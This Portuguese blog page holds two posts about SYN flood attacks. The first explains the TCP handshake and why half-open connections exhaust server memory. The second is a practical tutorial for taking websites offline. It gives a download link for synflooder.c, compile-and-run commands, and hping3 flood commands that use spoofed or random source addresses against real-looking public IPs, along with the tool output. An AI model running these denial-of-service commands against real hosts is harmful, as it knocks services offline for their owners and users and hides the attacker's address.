Posts com Tag ‘hping’

Para entender o Syn Flood é preciso, mesmo que rapidamente, falar um pouco do TCP.
O protocolo TCP é orientado a conexão: primeiro cliente e servidor se conectam e somente após esta etapa é que os dados podem ser trocados. Semelhante a um casal, “só podem ter filhos se fizerem sexo”.

A etapa de “discar” no TCP é chamada de handshake de três vias e os flags TCP são usados para sinalizar qual etapa se está realizando. Antes de qualquer bit de dados, a seguinte troca de pacotes acontece entre cliente e servidor:
1. O cliente envia uma solicitação de conexão, com um pacote TCP sem dados, possuindo o flag de SYN ligado e os demais desligados. Por causa da presença do flag de SYN, este pacote é conhecido como pacote SYN
2. Se o servidor quiser e puder atender, devolve um pacote ao cliente ainda sem dados, com os flags de SYN e de ACK ligados. Esta segunda etapa é conhecida como SYN/ACK.
3. Se o cliente ainda quiser manter a conexão, devolve ao servidor um terceiro pacote sem dados, apenas com o flag de ACK ligado (SYN desligado).
Somente após a terceira etapa é que os dados podem ser trocados.
O mais importante para entender a gravidade do ataque é saber que o servidor, ao receber o primeiro pacote (SYN), se ele quiser atender (exemplo: serviço HTTP, porta 80), precisa antes de responder com o SYN/ACK, alocar recursos de hardware para atender esta nova conexão.
Como o TCP é um protocolo confiável, que trata de desordenamento e perdas de pacotes, estes recursos não são poucos, pois envolvem buffers de envio e de recebimento, controle de números seqüenciais, relógios diversos, enfim, muitos recursos de memória, principalmente.
E o que acontece se uma máquina fizer o SYN (etapa 1), o servidor alocar recursos e responder com o SYN/ACK (etapa 2) mas o cliente não completa o handshake e não realiza a última etapa? Os recursos ficam alocados?
Ficam, mas não para sempre. O servidor fica esperando o ACK do cliente e se o mesmo não chegar depois de certo tempo, os recursos são desalocados. Mas o fato é que estes recursos realmente permanecem alocados por algum tempo, mesmo que curto.
Aí que entra o SYN Flood (tradução literal: inundação de SYN). Nele o atacante gera quantos SYN’s a máquina dele for capaz e não responde nenhum deles. Tem-se que o servidor vai alocar recursos para cada um, como se fossem requisições legítimas, só desalocando quando acabar o tempo. É perfeitamente compreensível que o atacante consegue gerar pacotes de SYN muito mais rapidamente e facilmente do que o servidor consegue tratá-los.
Claro, hoje temos hardware com capacidades de memória e recursos gigantescos, mas não existem recursos infinitos. “Nada que uma imensidão de bots não consiga fazer parar”. Mais cedo ou mais tarde os recursos se esgotarão e o servidor ficará incapaz de atender clientes legítimos.
Este é o SYN flood!
—————————————————————————————————
Vamos falar agora do famoso HPING

O HPING é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor, ou seja, three-way handshake. As mensagens servidor/cliente são trocadas em 3 vias.

O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e  a conexão está estabelecida.

Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP.

O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN a pilha de memória sofre um estouro e todas as requisições são desprezadas. NO POST ANTERIOR EU NÃO EXPLIQUEI SOBRE OS PARAMETROS D HPING, AGORA EU VOU DAR UMA EXPLICADA RAPIDA.

Exemplos de ataque

Exemplo 1:
A sintaxe do comando é a seguinte:
$ hping2 <host da vítima> <parâmetros>

# hping2 23.23.23.2 -p 80 -S -c 3
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes
len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=0 win=32792 rtt=0.2 ms
len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=1 win=32792 rtt=0.1 ms
len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=2 win=32792 rtt=0.1 ms

Nesta linha disparamos: -p 80 -c 3 (-p aponta a porta de envio dos pacotes e -c –count count seta a quantidade de pacotes). Desta maneira podemos avaliar as respostas do alvo.
Exemplo 2:
# hping2 23.23.23.2 -p 80 -S –faster –rand-source
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S –fast –rand-source (-S setamos a flag como syn, –fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; –rand-source habilita o modo radom e troca o ip de origem dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips diferentes a cada pacote enviado. Até o momento em que este alvo não poderá responder todas as requisições e o kernel negará o serviço.

Obs.: CUIDADO com o teste utilizando esta linha, pois o host de destino não irá responder caso a segurança necessária não esteja implementada.

Exemplo 3:

# hping2 23.23.23.2 -p 80 -S –faster –rand-dest
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S –fast –rand-dest (-S setamos a flag como syn, –fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; –rand-dest habilita o modo radom e troca o ip de destino dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips alvos diferentes a cada pacote enviado.

As flags podem ser setadas das seguintes formas:

  • -F –fin – Seta FIN tcp flag.
  • -S –syn -Seta SYN tcp flag.
  • -R –rst – Seta RST tcp flag.
  • -P –push – Seta PUSH tcp flag.
  • -A –ack – Seta ACK tcp flag.
  • -U –urg – Set URG tcp flag.
  • -X –xmas – Set Xmas tcp flag.

Modo de escuta:

  • -9 –listen signature

HPING2 em modo de escuta. Utilizando esta opção o hping aguarda pelo pacote que contém esta assinatura e finaliza o pacote que contém a assinatura.

Exemplo.:
# hping2 -9 –listen 234-09sdflkjs45 -TESThello_word

Fonte: vivaolinux

Méritos tem que ser dados aos autores: cristofe, elgio e eu que trouxe este post para o meu blog

Clique aqui para ver o nosso novo site

Introdução ao ataque com synflooder.c
Iae galera, vou demostrar como realizar um ataque SYN Flood pra derrubar sites (hosts), quem não conhece muito SYN Flood, recomendo que leia mais sobre o mesmo.

Eu usarei 2 metodos para realizar o ataque, um será  usando a ferramenta synflooder.c outro sera usando o hping3

Você pode baixar o hping no link abaixo:
synflooder.c —> http://www.4shared.com/file/119205535/bd36c580/SYN_Floodertar.html
hping —> http://www.hping.org/download.html

Obs: Para quem usa Debian, é muito fácil de instalar basta digitar:
# apt-get install hping3

Para quem usa OpenSUSE basta digitar:
# yast install hping3

Para quem usa Fedora basta digitar:
# yum install hping3
——————————————————————————————-

Agora o primeiro passo para realizar o ataque com o synflooder.c é compila-lo:
# gcc  synflooder.c -o synflooder

Obs: geralmente as pessoas reclaman de dar erro na compilação, uns merda… Pois, basta pegar algumas biblilhotecas que estarão faltando em alguns casos.

# ./synflooder

Gimme: ./synflooder <host> <port>
# ./synflooder 189.23.199.200 80

Connected No: 0
Connected No: 1
Connected No: 2
Connected No: 3
Connected No: 4
Connected No: 5
Connected No: 6
Connected No: 7
Connected No: 8
Connected No: 9
Connected No: 10
Connected No: 11
Connected No: 12
Connected No: 13
Connected No: 14
Connected No: 15
Connected No: 16

Depois de um tempo o site ficara impossibilitado de receber mais conexões e qualquer pessoa que tentar entrar no site, simplesmente não ira conseguir.

Obs: na minha opniao este ataque serve somente para passar medo em alguma pessoa, pois o servidor so fica fora do ar por alguns minutinhos básicos.
———————————————————————————————

ataque com HPING3

O hping3 é um programa muito util, pode ser usado para manipular o cabeçalho TCP/IP. Sera exatamente isto que vamos fazer, primeiro vamos spoofar o IP e floodar o alvo.

Atacando
O comando usado sera este:
hping3 –flood –syn -a ip_falso -e “Message” -S -s porta ip_alvo

Então no konsole vamos fazer assim:
#hping3 –flood –syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 201.40.22.164

O resultado sera que o alvo ira ficar OFF:
# hping3 –flood –syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 201.40.22.164

HPING 201.40.22.164  (ppp0 201.40.22.164): S set, 40 headers + 16 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

hping in flood mode, no replies will be shown

———————————————————————————————–

Espero que tenham gostado do tutorial.

ESTE FOI O TUTORIAL PRATICO. VOU CRIAR AGORA O TUTORIAL ESPLICATIVO QUE É O MAIS IMPORTANTE.